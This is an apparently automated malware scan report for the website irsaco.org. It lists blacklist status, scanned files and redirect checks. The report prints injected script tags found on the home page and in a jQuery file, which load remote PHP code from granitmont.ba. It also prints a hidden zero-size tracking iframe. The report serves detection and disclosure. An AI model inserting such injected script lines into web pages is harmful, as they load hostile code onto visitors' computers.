Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=irsaco.org
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.irsaco.org/ | 200 OK Content-Length: 4904 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" src="http://granitmont.ba/b/kontakti/vnhkqqf4.php?id=5296680"></script> | ||
http://s7.addthis.com/js/250/addthis_widget.js | 200 OK Content-Length: 10689 Content-Type: text/javascript | clean |
http://www.irsaco.org/info/info_index.asp | 200 OK Content-Length: 43171 Content-Type: text/html | clean |
http://www.irsaco.org/info/../horiz_files/mbjsmbhoriz.js | 200 OK Content-Length: 13737 Content-Type: application/javascript | clean |
http://www.irsaco.org/info/ajax.js | 200 OK Content-Length: 4174 Content-Type: application/javascript | clean |
http://free-website-translation.com/scripts/fwt.js | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://free-website-translation.com/test404page.js | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://www.webgozar.ir/c.aspx?Code=2619606&t=counter | 200 OK Content-Length: 973 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 0x0 src: http://engine.webgozar.ir/counter/xstat.aspx?t=stat4&code=2619606&rnd= <iframe scrolling=no width=0 height=0 border=0 frameborder=0 allowtransparency="true" src="http://engine.webgozar.ir/counter/xstat.aspx?t=stat4&code=2619606&rnd=' + math.round(math.random()*50000) + '&s=' + screensize + '&c=' + colors + '&ref=' + escape(document.referrer) + '&title=' + escape(document.title) + '" > | ||
http://www.irsaco.org/info/../vert_files/mbjsmbvert.js | 200 OK Content-Length: 13737 Content-Type: application/javascript | clean |
http://www.irsaco.org/info/../hijri.js | 200 OK Content-Length: 2029 Content-Type: application/javascript | clean |
http://www.irsaco.org/info/jquery-1.3.2.min.js | 200 OK Content-Length: 57426 Content-Type: application/javascript | suspicious |
Suspicious code found document.write('<script type="text/javascript" src="http://granitmont.ba/b/kontakti/vnhkqqf4.php?id=5301401"></script>'); |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: irsaco.org
Result:
GET / HTTP/1.1
Host: irsaco.org
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: irsaco.org
Referer: http://www.google.com/search?q=irsaco.org
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: irsaco.org
Referer: http://www.google.com/search?q=irsaco.org
Result:
The result is similar to the first query. There are no suspicious redirects found.